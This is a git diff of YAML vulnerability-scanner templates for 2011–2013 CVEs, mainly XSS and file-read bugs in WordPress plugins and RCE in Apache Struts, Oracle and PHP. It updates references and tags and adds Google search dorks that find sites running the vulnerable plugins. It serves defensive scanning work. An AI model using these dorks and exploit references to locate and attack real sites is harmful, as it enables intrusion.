read arbitrary files via a crafted URL, aka Bug IDs CSCth09343 and CSCts44049. reference: - https://www.exploit-db.com/exploits/36256 + - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-uccx + - http://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-20111026-cucm + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-3315 - remediation: Upgrade to a supported version. - tags: cve,cve2011,lfi,cisco + tags: cve,cve2011,lfi,cisco,edb requests: - method: GET diff --git a/cves/2011/CVE-2011-4336.yaml b/cves/2011/CVE-2011-4336.yaml index 43736129ab..e66d9aed23 100644 --- a/cves/2011/CVE-2011-4336.yaml +++ b/cves/2011/CVE-2011-4336.yaml @@ -7,15 +7,15 @@ info: description: Tiki Wiki CMS Groupware 7.0 is vulnerable to cross-site scripting via the GET "ajax" parameter to snarf_ajax.php. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-4336 - - https://www.securityfocus.com/bid/48806/info + - http://web.archive.org/web/20210328232945/https://www.securityfocus.com/bid/48806/info - https://seclists.org/bugtraq/2011/Nov/140 + remediation: Upgrade to a supported version. classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N cvss-score: 6.1 cve-id: CVE-2011-4336 cwe-id: CWE-79 - remediation: Upgrade to a supported version. - tags: cve,cve2011,xss,tikiwiki + tags: seclists,cve,cve2011,xss,tikiwiki requests: - method: GET diff --git a/cves/2011/CVE-2011-4618.yaml b/cves/2011/CVE-2011-4618.yaml index bf551e83a6..ff441dcef2 100644 --- a/cves/2011/CVE-2011-4618.yaml +++ b/cves/2011/CVE-2011-4618.yaml @@ -1,15 +1,19 @@ id: CVE-2011-4618 info: - name: Advanced Text Widget < 2.0.2 - Reflected Cross-Site Scripting + name: Advanced Text Widget < 2.0.2 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting (XSS) vulnerability in advancedtext.php in Advanced Text Widget plugin before 2.0.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-4618 + - http://web.archive.org/web/20210121070605/https://www.securityfocus.com/archive/1/520589 + - http://wordpress.org/support/topic/wordpress-advanced-text-widget-plugin-cross-site-scripting-vulnerabilities + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-4618 - remediation: Upgrade to a supported version. + metadata: + google-query: inurl:"/wp-content/plugins/advanced-text-widget" tags: cve,cve2011,wordpress,xss,wp-plugin requests: @@ -20,9 +24,9 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word part: header diff --git a/cves/2011/CVE-2011-4624.yaml b/cves/2011/CVE-2011-4624.yaml index c9c03654bf..2df94565af 100644 --- a/cves/2011/CVE-2011-4624.yaml +++ b/cves/2011/CVE-2011-4624.yaml @@ -1,15 +1,19 @@ id: CVE-2011-4624 info: - name: GRAND FlAGallery 1.57 - Reflected Cross-Site Scripting + name: GRAND FlAGallery 1.57 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting (XSS) vulnerability in facebook.php in the GRAND FlAGallery plugin (flash-album-gallery) before 1.57 for WordPress allows remote attackers to inject arbitrary web script or HTML via the i parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-4624 + - http://www.openwall.com/lists/oss-security/2011/12/23/2 + - http://plugins.trac.wordpress.org/changeset/469785 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-4624 - remediation: Upgrade to a supported version. + metadata: + google-query: inurl:"/wp-content/plugins/flash-album-gallery" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2011/CVE-2011-4804.yaml b/cves/2011/CVE-2011-4804.yaml index c29a71af73..5f1881d151 100644 --- a/cves/2011/CVE-2011-4804.yaml +++ b/cves/2011/CVE-2011-4804.yaml @@ -7,11 +7,13 @@ info: description: A directory traversal vulnerability in the obSuggest (com_obsuggest) component before 1.8 for Joomla! allows remote attackers to read arbitrary files via a .. (dot dot) in the controller parameter to index.php. reference: - https://www.exploit-db.com/exploits/36598 - - https://www.cvedetails.com/cve/CVE-2011-4804 + - http://web.archive.org/web/20140802122115/http://secunia.com/advisories/46844/ + - http://web.archive.org/web/20210121214308/https://www.securityfocus.com/bid/48944/ + - https://nvd.nist.gov/vuln/detail/CVE-2011-4804 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2011-4804 - remediation: Upgrade to a supported version. - tags: cve,cve2011,joomla,lfi + tags: lfi,edb,cve,cve2011,joomla requests: - method: GET diff --git a/cves/2011/CVE-2011-4926.yaml b/cves/2011/CVE-2011-4926.yaml index 613926464b..decfdfeee6 100644 --- a/cves/2011/CVE-2011-4926.yaml +++ b/cves/2011/CVE-2011-4926.yaml @@ -1,15 +1,19 @@ id: CVE-2011-4926 info: - name: Adminimize 1.7.22 - Reflected Cross-Site Scripting + name: Adminimize 1.7.22 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in adminimize/adminimize_page.php in the Adminimize plugin before 1.7.22 for WordPress allows remote attackers to inject arbitrary web script or HTML via the page parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-4926 - https://www.whitesourcesoftware.com/vulnerability-database/CVE-2011-4926 + - http://plugins.trac.wordpress.org/changeset?reponame=&new=467338@adminimize&old=466900@adminimize#file5 + - http://www.openwall.com/lists/oss-security/2012/01/10/9 classification: cve-id: CVE-2011-4926 + metadata: + google-query: inurl:"/wp-content/plugins/adminimize/" tags: cve,cve2011,wordpress,xss,wp-plugin requests: @@ -20,9 +24,9 @@ requests: matchers-condition: and matchers: - type: word + part: body words: - "" - part: body - type: word part: header diff --git a/cves/2011/CVE-2011-5106.yaml b/cves/2011/CVE-2011-5106.yaml index 6ffc85f1a1..031d518512 100644 --- a/cves/2011/CVE-2011-5106.yaml +++ b/cves/2011/CVE-2011-5106.yaml @@ -1,15 +1,19 @@ id: CVE-2011-5106 info: - name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Reflected Cross-Site Scripting + name: WordPress Plugin Flexible Custom Post Type < 0.1.7 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in edit-post.php in the Flexible Custom Post Type plugin before 0.1.7 for WordPress allows remote attackers to inject arbitrary web script or HTML via the id parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5106 - https://wordpress.org/plugins/flexible-custom-post-type/#developers + - http://plugins.trac.wordpress.org/changeset?reponame=&new=466252%40flexible-custom-post-type&old=465583%40flexible-custom-post-type + - http://wordpress.org/extend/plugins/flexible-custom-post-type/changelog/ classification: cve-id: CVE-2011-5106 + metadata: + google-query: inurl:"/wp-content/plugins/flexible-custom-post-type/" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2011/CVE-2011-5107.yaml b/cves/2011/CVE-2011-5107.yaml index 612790ace8..12f1dd5f56 100644 --- a/cves/2011/CVE-2011-5107.yaml +++ b/cves/2011/CVE-2011-5107.yaml @@ -1,14 +1,19 @@ id: CVE-2011-5107 info: - name: Alert Before Your Post <= 0.1.1 - Reflected Cross-Site Scripting + name: Alert Before Your Post <= 0.1.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in post_alert.php in Alert Before Your Post plugin, possibly 0.1.1 and earlier, for WordPress allows remote attackers to inject arbitrary web script or HTML via the name parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5107 https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-alert-before-your-post-cross-site-scripting-0-1-1/ + - http://web.archive.org/web/20210121220155/https://www.securityfocus.com/bid/50743/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/71413 + - http://web.archive.org/web/20201208110708/https://www.securityfocus.com/archive/1/520590/100/0/threaded classification: cve-id: CVE-2011-5107 + metadata: + google-query: inurl:"/wp-content/plugins/alert-before-your-post" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2011/CVE-2011-5179.yaml b/cves/2011/CVE-2011-5179.yaml index ac7a235b53..b5cb25da6d 100644 --- a/cves/2011/CVE-2011-5179.yaml +++ b/cves/2011/CVE-2011-5179.yaml @@ -1,14 +1,19 @@ id: CVE-2011-5179 info: - name: Skysa App Bar 1.04 - Reflected Cross-Site Scripting + name: Skysa App Bar 1.04 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in skysa-official/skysa.php in Skysa App Bar Integration plugin, possibly before 1.04, for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5179 + - http://web.archive.org/web/20210615122339/https://www.securityfocus.com/bid/50824 + - https://exchange.xforce.ibmcloud.com/vulnerabilities/71486 + - http://web.archive.org/web/20210614205347/https://www.securityfocus.com/archive/1/520662/100/0/threaded classification: cve-id: CVE-2011-5179 + metadata: + google-query: inurl:"/wp-content/plugins/skysa-official/" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2011/CVE-2011-5181.yaml b/cves/2011/CVE-2011-5181.yaml index c277e63600..91e39c5c91 100644 --- a/cves/2011/CVE-2011-5181.yaml +++ b/cves/2011/CVE-2011-5181.yaml @@ -1,14 +1,18 @@ id: CVE-2011-5181 info: - name: ClickDesk Live Support Live Chat 2.0 - Reflected Cross-Site Scripting + name: ClickDesk Live Support Live Chat 2.0 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in clickdesk.php in ClickDesk Live Support - Live Chat plugin 2.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the cdwidgetid parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5181 + - http://web.archive.org/web/20210123155244/https://www.securityfocus.com/bid/50778/ + - http://wordpress.org/extend/plugins/clickdesk-live-support-chat-plugin/changelog/ classification: cve-id: CVE-2011-5181 + metadata: + google-query: inurl:"/wp-content/plugins/clickdesk-live-support-chat/" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2011/CVE-2011-5265.yaml b/cves/2011/CVE-2011-5265.yaml index 538032943f..f3b3a24e05 100644 --- a/cves/2011/CVE-2011-5265.yaml +++ b/cves/2011/CVE-2011-5265.yaml @@ -1,14 +1,18 @@ id: CVE-2011-5265 info: - name: Featurific For WordPress 1.6.2 - Reflected Cross-Site Scripting + name: Featurific For WordPress 1.6.2 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in cached_image.php in the Featurific For WordPress plugin 1.6.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the snum parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2011-5265 + - http://web.archive.org/web/20210123103000/https://www.securityfocus.com/bid/50779/ + - https://exchange.xforce.ibmcloud.com/vulnerabilities/71468 classification: cve-id: CVE-2011-5265 + metadata: + google-query: inurl:"/wp-content/plugins/featurific-for-wordpress" tags: cve,cve2011,wordpress,xss,wp-plugin requests: diff --git a/cves/2012/CVE-2012-0392.yaml b/cves/2012/CVE-2012-0392.yaml index 44ad07aa43..4058bcdd5b 100644 --- a/cves/2012/CVE-2012-0392.yaml +++ b/cves/2012/CVE-2012-0392.yaml @@ -7,10 +7,13 @@ info: description: The CookieInterceptor component in Apache Struts before 2.3.1.1 does not use the parameter-name whitelist, which allows remote attackers to execute arbitrary commands via a crafted HTTP Cookie header that triggers Java code execution through a static method. reference: - https://cwiki.apache.org/confluence/display/WW/S2-008 https://blog.csdn.net/weixin_43416469/article/details/113850545 + - http://www.exploit-db.com/exploits/18329 + - https://lists.immunityinc.com/pipermail/dailydave/2012-January/000011.html + - http://web.archive.org/web/20150110183326/http://secunia.com:80/advisories/47393 + remediation: Developers should immediately upgrade to at least Struts 2.3.18. classification: cve-id: CVE-2012-0392 - remediation: Developers should immediately upgrade to at least Struts 2.3.18. - tags: cve,cve2012,apache,rce,struts,java + tags: cve2012,apache,rce,struts,java,edb,cve requests: - method: GET diff --git a/cves/2012/CVE-2012-0896.yaml b/cves/2012/CVE-2012-0896.yaml index f6478d409d..77982c182d 100644 --- a/cves/2012/CVE-2012-0896.yaml +++ b/cves/2012/CVE-2012-0896.yaml @@ -7,10 +7,14 @@ info: description: An absolute path traversal vulnerability in download.php in the Count Per Day module before 3.1.1 for WordPress allows remote attackers to read arbitrary files via the f parameter. reference: - https://packetstormsecurity.com/files/108631/ - - https://www.cvedetails.com/cve/CVE-2012-0896 + - http://web.archive.org/web/20140804110141/http://secunia.com/advisories/47529/ + - http://plugins.trac.wordpress.org/changeset/488883/count-per-day + - https://https://nvd.nist.gov/vuln/detail/CVE-2012-0896 classification: cve-id: CVE-2012-0896 - tags: cve,cve2012,lfi,wordpress,wp-plugin,traversal + metadata: + google-query: inurl:"/wp-content/plugins/count-per-day" + tags: packetstorm,cve,cve2012,lfi,wordpress,wp-plugin,traversal requests: - method: GET diff --git a/cves/2012/CVE-2012-0901.yaml b/cves/2012/CVE-2012-0901.yaml index 0e96e46920..a8ca09950e 100644 --- a/cves/2012/CVE-2012-0901.yaml +++ b/cves/2012/CVE-2012-0901.yaml @@ -1,15 +1,19 @@ id: CVE-2012-0901 info: - name: YouSayToo auto-publishing 1.0 - Reflected Cross-Site Scripting + name: YouSayToo auto-publishing 1.0 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in yousaytoo.php in YouSayToo auto-publishing plugin 1.0 for WordPress allows remote attackers to inject arbitrary web script or HTML via the submit parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-0901 + - http://packetstormsecurity.org/files/view/108470/wpystap-xss.txt + - https://exchange.xforce.ibmcloud.com/vulnerabilities/72271 classification: cve-id: CVE-2012-0901 - tags: cve,cve2012,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/yousaytoo-auto-publishing-plugin" + tags: wp-plugin,packetstorm,cve,cve2012,wordpress,xss requests: - method: GET diff --git a/cves/2012/CVE-2012-0981.yaml b/cves/2012/CVE-2012-0981.yaml index eed1d3fafd..abd78bb082 100644 --- a/cves/2012/CVE-2012-0981.yaml +++ b/cves/2012/CVE-2012-0981.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/18435 - https://www.cvedetails.com/cve/CVE-2012-0981 + - http://web.archive.org/web/20151016200610/http://secunia.com/advisories/47802/ + - http://www.exploit-db.com/exploits/18435 classification: cve-id: CVE-2012-0981 - tags: cve,cve2012,lfi,phpshowtime + tags: phpshowtime,edb,cve,cve2012,lfi requests: - method: GET diff --git a/cves/2012/CVE-2012-0991.yaml b/cves/2012/CVE-2012-0991.yaml index 1564e8e689..3d6345a868 100644 --- a/cves/2012/CVE-2012-0991.yaml +++ b/cves/2012/CVE-2012-0991.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/36650 - https://www.cvedetails.com/cve/CVE-2012-0991 + - http://web.archive.org/web/20210121221715/https://www.securityfocus.com/bid/51788/ + - http://www.open-emr.org/wiki/index.php/OpenEMR_Patches classification: cve-id: CVE-2012-0991 - tags: cve,cve2012,lfi,openemr,traversal + tags: lfi,openemr,traversal,edb,cve,cve2012 requests: - method: GET diff --git a/cves/2012/CVE-2012-0996.yaml b/cves/2012/CVE-2012-0996.yaml index be246dfabe..50bf5aa1a6 100644 --- a/cves/2012/CVE-2012-0996.yaml +++ b/cves/2012/CVE-2012-0996.yaml @@ -8,10 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/36784 - https://www.cvedetails.com/cve/CVE-2012-0996 + - https://www.htbridge.ch/advisory/HTB23071 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2012-0996 - remediation: Upgrade to a supported version. - tags: cve,cve2012,lfi + tags: cve,cve2012,lfi,edb requests: - method: GET diff --git a/cves/2012/CVE-2012-1226.yaml b/cves/2012/CVE-2012-1226.yaml index a8174b8cb1..b0edd8260f 100644 --- a/cves/2012/CVE-2012-1226.yaml +++ b/cves/2012/CVE-2012-1226.yaml @@ -8,10 +8,12 @@ info: reference: - https://www.exploit-db.com/exploits/36873 - https://www.cvedetails.com/cve/CVE-2012-1226 + - http://web.archive.org/web/20210508221434/https://www.securityfocus.com/archive/1/521583 + - http://www.vulnerability-lab.com/get_content.php?id=428 + remediation: Upgrade to a supported version. classification: cve-id: CVE-2012-1226 - remediation: Upgrade to a supported version. - tags: cve,cve2012,lfi,dolibarr,traversal + tags: cve,cve2012,lfi,dolibarr,traversal,edb requests: - method: GET diff --git a/cves/2012/CVE-2012-1823.yaml b/cves/2012/CVE-2012-1823.yaml index 52c1f5a03a..0e4bcec9e2 100644 --- a/cves/2012/CVE-2012-1823.yaml +++ b/cves/2012/CVE-2012-1823.yaml @@ -9,9 +9,11 @@ info: reference: - https://github.com/vulhub/vulhub/tree/master/php/CVE-2012-1823 - https://nvd.nist.gov/vuln/detail/CVE-2012-1823 + - https://bugs.php.net/bug.php?id=61910 + - http://www.php.net/ChangeLog-5.php#5.4.2 classification: cve-id: CVE-2012-1823 - tags: rce,php,cve,cve2012 + tags: cve2012,kev,vulhub,rce,php,cve requests: - raw: diff --git a/cves/2012/CVE-2012-1835.yaml b/cves/2012/CVE-2012-1835.yaml index f7318bb8d6..dd6dc50478 100644 --- a/cves/2012/CVE-2012-1835.yaml +++ b/cves/2012/CVE-2012-1835.yaml @@ -1,16 +1,19 @@ id: CVE-2012-1835 info: - name: WordPress Plugin All-in-One Event Calendar 1.4 - Reflected Cross-Site Scripting + name: WordPress Plugin All-in-One Event Calendar 1.4 - Cross-Site Scripting author: daffainfo severity: medium - description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter - to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg - parameter to /app/view/save_successful.php. + description: Multiple cross-site scripting vulnerabilities in the All-in-One Event Calendar plugin 1.4 and 1.5 for WordPress allow remote attackers to inject arbitrary web script or HTML via the (1) title parameter to app/view/agenda-widget-form.php; (2) args, (3) title, (4) before_title, or (5) after_title parameter to app/view/agenda-widget.php; (6) button_value parameter to app/view/box_publish_button.php; or (7) msg parameter to /app/view/save_successful.php. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-1835 + - https://web.archive.org/web/20151001133311/http://archives.neohapsis.com/archives/bugtraq/2012-04/0071.html + - http://web.archive.org/web/20210615141436/https://www.securityfocus.com/bid/52986 + - https://www.htbridge.com/advisory/HTB23082 classification: cve-id: CVE-2012-1835 + metadata: + google-query: inurl:"/wp-content/plugins/all-in-one-event-calendar" tags: cve,cve2012,wordpress,xss,wp-plugin requests: diff --git a/cves/2012/CVE-2012-2371.yaml b/cves/2012/CVE-2012-2371.yaml index 7c3e948821..5cf4afa804 100644 --- a/cves/2012/CVE-2012-2371.yaml +++ b/cves/2012/CVE-2012-2371.yaml @@ -1,15 +1,18 @@ id: CVE-2012-2371 info: - name: WP-FaceThumb 0.1 - Reflected Cross-Site Scripting + name: WP-FaceThumb 0.1 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in index.php in the WP-FaceThumb plugin 0.1 for WordPress allows remote attackers to inject arbitrary web script or HTML via the pagination_wp_facethumb parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-2371 + - http://web.archive.org/web/20140805090129/http://secunia.com/advisories/49143/ + - http://www.openwall.com/lists/oss-security/2012/05/15/12 + - http://packetstormsecurity.org/files/112658/WordPress-WP-FaceThumb-Gallery-0.1-Cross-Site-Scripting.html classification: cve-id: CVE-2012-2371 - tags: cve,cve2012,wordpress,xss,wp-plugin + tags: packetstorm,cve,cve2012,wordpress,xss,wp-plugin requests: - method: GET diff --git a/cves/2012/CVE-2012-3153.yaml b/cves/2012/CVE-2012-3153.yaml index e28f47c522..1e32c940bf 100644 --- a/cves/2012/CVE-2012-3153.yaml +++ b/cves/2012/CVE-2012-3153.yaml @@ -12,9 +12,10 @@ info: - https://nvd.nist.gov/vuln/detail/CVE-2012-3152 - https://www.exploit-db.com/exploits/31737 - https://www.oracle.com/security-alerts/cpuoct2012.html + - http://www.oracle.com/technetwork/topics/security/cpuoct2012-1515893.html classification: cve-id: CVE-2012-3153 - tags: cve,cve2012,oracle,rce + tags: cve,cve2012,oracle,rce,edb requests: - method: GET diff --git a/cves/2012/CVE-2012-4242.yaml b/cves/2012/CVE-2012-4242.yaml index 43bc9b456a..75a75271c1 100644 --- a/cves/2012/CVE-2012-4242.yaml +++ b/cves/2012/CVE-2012-4242.yaml @@ -1,12 +1,14 @@ id: CVE-2012-4242 info: - name: WordPress Plugin MF Gig Calendar 0.9.2 - Reflected Cross-Site Scripting + name: WordPress Plugin MF Gig Calendar 0.9.2 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in the MF Gig Calendar plugin 0.9.2 for WordPress allows remote attackers to inject arbitrary web script or HTML via the query string to the calendar page. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-4242 + - http://www.reactionpenetrationtesting.co.uk/mf-gig-calendar-xss.html + - http://web.archive.org/web/20210121230717/https://www.securityfocus.com/bid/55622/ classification: cve-id: CVE-2012-4242 tags: cve,cve2012,wordpress,xss,wp-plugin diff --git a/cves/2012/CVE-2012-4253.yaml b/cves/2012/CVE-2012-4253.yaml index b085d1ae97..c2b2313f25 100644 --- a/cves/2012/CVE-2012-4253.yaml +++ b/cves/2012/CVE-2012-4253.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/37129 - https://www.cvedetails.com/cve/CVE-2012-4253 + - http://packetstormsecurity.org/files/112304/MySQLDumper-1.24.4-LFI-XSS-CSRF-Code-Execution-Traversal.html + - https://exchange.xforce.ibmcloud.com/vulnerabilities/75286 classification: cve-id: CVE-2012-4253 - tags: cve,cve2012,lfi + tags: packetstorm,cve,cve2012,lfi,edb requests: - method: GET diff --git a/cves/2012/CVE-2012-4273.yaml b/cves/2012/CVE-2012-4273.yaml index 2cbe9c386a..8143853716 100644 --- a/cves/2012/CVE-2012-4273.yaml +++ b/cves/2012/CVE-2012-4273.yaml @@ -1,15 +1,20 @@ id: CVE-2012-4273 info: - name: 2 Click Socialmedia Buttons < 0.34 - Reflected Cross Site Scripting + name: 2 Click Socialmedia Buttons < 0.34 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in libs/xing.php in the 2 Click Social Media Buttons plugin before 0.34 for WordPress allows remote attackers to inject arbitrary web script or HTML via the xing-url parameter. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-4273 + - http://plugins.trac.wordpress.org/changeset?old_path=%2F2-click-socialmedia-buttons&old=532798&new_path=%2F2-click-socialmedia-buttons&new=532798 + - http://wordpress.org/extend/plugins/2-click-socialmedia-buttons/changelog/ + - http://packetstormsecurity.org/files/112615/WordPress-2-Click-Socialmedia-Buttons-Cross-Site-Scripting.html classification: cve-id: CVE-2012-4273 - tags: cve,cve2012,wordpress,xss,wp-plugin + metadata: + google-query: inurl:"/wp-content/plugins/2-click-socialmedia-buttons" + tags: cve,cve2012,wordpress,xss,wp-plugin,packetstorm requests: - method: GET diff --git a/cves/2012/CVE-2012-4547.yaml b/cves/2012/CVE-2012-4547.yaml index ff59b1ea3f..d156aed493 100644 --- a/cves/2012/CVE-2012-4547.yaml +++ b/cves/2012/CVE-2012-4547.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/36164 - https://nvd.nist.gov/vuln/detail/CVE-2012-4547 + - http://awstats.sourceforge.net/docs/awstats_changelog.txt + - http://openwall.com/lists/oss-security/2012/10/29/7 classification: cve-id: CVE-2012-4547 - tags: cve,cve2020,xss,awstats + tags: cve,cve2012,xss,awstats,edb requests: - method: GET diff --git a/cves/2012/CVE-2012-4768.yaml b/cves/2012/CVE-2012-4768.yaml index 899cdd00eb..0e320533e6 100644 --- a/cves/2012/CVE-2012-4768.yaml +++ b/cves/2012/CVE-2012-4768.yaml @@ -1,15 +1,17 @@ id: CVE-2012-4768 info: - name: WordPress Plugin Download Monitor < 3.3.5.9 - Reflected Cross-Site Scripting + name: WordPress Plugin Download Monitor < 3.3.5.9 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in the Download Monitor plugin before 3.3.5.9 for WordPress allows remote attackers to inject arbitrary web script or HTML via the dlsearch parameter to the default URI. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-4768 + - http://packetstormsecurity.org/files/116408/wpdownloadmonitor3357-xss.txt + - http://www.reactionpenetrationtesting.co.uk/wordpress-download-monitor-xss.html classification: cve-id: CVE-2012-4768 - tags: cve,cve2012,wordpress,xss,wp-plugin + tags: xss,wp-plugin,packetstorm,cve,cve2012,wordpress requests: - method: GET diff --git a/cves/2012/CVE-2012-4878.yaml b/cves/2012/CVE-2012-4878.yaml index 341d0052d1..b4dcf437f8 100644 --- a/cves/2012/CVE-2012-4878.yaml +++ b/cves/2012/CVE-2012-4878.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/37034 - https://www.cvedetails.com/cve/CVE-2012-4878 + - http://www.vulnerability-lab.com/get_content.php?id=487 + - http://packetstormsecurity.org/files/111473/Flatnux-CMS-2011-08.09.2-CSRF-XSS-Directory-Traversal.html classification: cve-id: CVE-2012-4878 - tags: cve,cve2012,lfi,traversal + tags: cve2012,lfi,traversal,edb,packetstorm,cve requests: - method: GET diff --git a/cves/2012/CVE-2012-4889.yaml b/cves/2012/CVE-2012-4889.yaml index 529af08dce..2162408cda 100644 --- a/cves/2012/CVE-2012-4889.yaml +++ b/cves/2012/CVE-2012-4889.yaml @@ -1,16 +1,18 @@ id: CVE-2012-4889 info: - name: ManageEngine Firewall Analyzer 7.2 - Reflected Cross Site Scripting + name: ManageEngine Firewall Analyzer 7.2 - Cross-Site Scripting author: daffainfo severity: medium description: Multiple cross-site scripting vulnerabilities in ManageEngine Firewall Analyzer 7.2 allow remote attackers to inject arbitrary web script or HTML via the (1) subTab or (2) tab parameter to createAnomaly.do; (3) url, (4) subTab, or (5) tab parameter to mindex.do; (6) tab parameter to index2.do; or (7) port parameter to syslogViewer.do. reference: - - https://www.securityfocus.com/bid/52841/info + - http://web.archive.org/web/20210121082432/https://www.securityfocus.com/bid/52841/info - https://nvd.nist.gov/vuln/detail/CVE-2012-4889 + - http://packetstormsecurity.org/files/111474/VL-437.txt + - http://www.vulnerability-lab.com/get_content.php?id=437 classification: cve-id: CVE-2012-4889 - tags: cve,cve2012,xss,manageengine + tags: cve,cve2012,xss,manageengine,packetstorm requests: - method: GET diff --git a/cves/2012/CVE-2012-4940.yaml b/cves/2012/CVE-2012-4940.yaml index 419d1fad47..2b05afdf8a 100644 --- a/cves/2012/CVE-2012-4940.yaml +++ b/cves/2012/CVE-2012-4940.yaml @@ -8,9 +8,11 @@ info: reference: - https://www.exploit-db.com/exploits/37996 - https://nvd.nist.gov/vuln/detail/CVE-2012-4940 + - http://www.kb.cert.org/vuls/id/586556 + - http://web.archive.org/web/20210121232008/https://www.securityfocus.com/bid/56343/ classification: cve-id: CVE-2012-4940 - tags: cve,cve2012,axigen,lfi,mail + tags: edb,cve,cve2012,axigen,lfi,mail requests: - method: GET diff --git a/cves/2012/CVE-2012-5913.yaml b/cves/2012/CVE-2012-5913.yaml index 440c59b114..d4fe46fa32 100644 --- a/cves/2012/CVE-2012-5913.yaml +++ b/cves/2012/CVE-2012-5913.yaml @@ -1,16 +1,18 @@ id: CVE-2012-5913 info: - name: WordPress Integrator 1.32 - Reflected Cross-Site Scripting + name: WordPress Integrator 1.32 - Cross-Site Scripting author: daffainfo severity: medium description: A cross-site scripting vulnerability in wp-integrator.php in the WordPress Integrator module 1.32 for WordPress allows remote attackers to inject arbitrary web script or HTML via the redirect_to parameter to wp-login.php. reference: - https://nvd.nist.gov/vuln/detail/CVE-2012-5913 - https://www.acunetix.com/vulnerabilities/web/wordpress-plugin-integrator-redirect_to-parameter-cross-site-scripting-1-32/ + - http://packetstormsecurity.org/files/111249/WordPress-Integrator-1.32-Cross-Site-Scripting.html + - http://www.darksecurity.de/advisories/2012/SSCHADV2012-010.txt classification: cve-id: CVE-2012-5913 - tags: cve,cve2012,wordpress,xss,wp-plugin + tags: cve2012,wordpress,xss,wp-plugin,packetstorm,cve requests: - method: GET diff --git a/cves/2013/CVE-2013-1965.yaml b/cves/2013/CVE-2013-1965.yaml index e682fde510..a487bd900a 100644 --- a/cves/2013/CVE-2013-1965.yaml +++ b/cves/2013/CVE-2013-1965.yaml @@ -8,9 +8,10 @@ info: reference: - http://struts.apache.org/development/2.x/docs/s2-012.html - https://nvd.nist.gov/vuln/detail/CVE-2013-1965 + - https://bugzilla.redhat.com/show_bug.cgi?id=967655 + remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later. classification: cve-id: CVE-2013-1965 - remediation: Developers should immediately upgrade to Struts 2.3.14.3 or later. tags: cve,cve2013,apache,rce,struts,ognl requests: diff --git a/cves/2013/CVE-2013-2248.yaml b/cves/2013/CVE-2013-2248.yaml index 94f2efcab6..49e8789f61 100644 --- a/cves/2013/CVE-2013-2248.yaml +++ b/cves/2013/CVE-2013-2248.yaml @@ -9,20 +9,21 @@ info: - https://www.exploit-db.com/exploits/38666 - https://nvd.nist.gov/vuln/detail/CVE-2013-2248 - https://cwiki.apache.org/confluence/display/WW/S2-017 + - http://struts.apache.org/release/2.3.x/docs/s2-017.html + remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later. classification: cve-id: CVE-2013-2248 - remediation: Developers should immediately upgrade to Struts 2.3.15.1 or later. - tags: cve,cve2013,apache,redirect,struts + 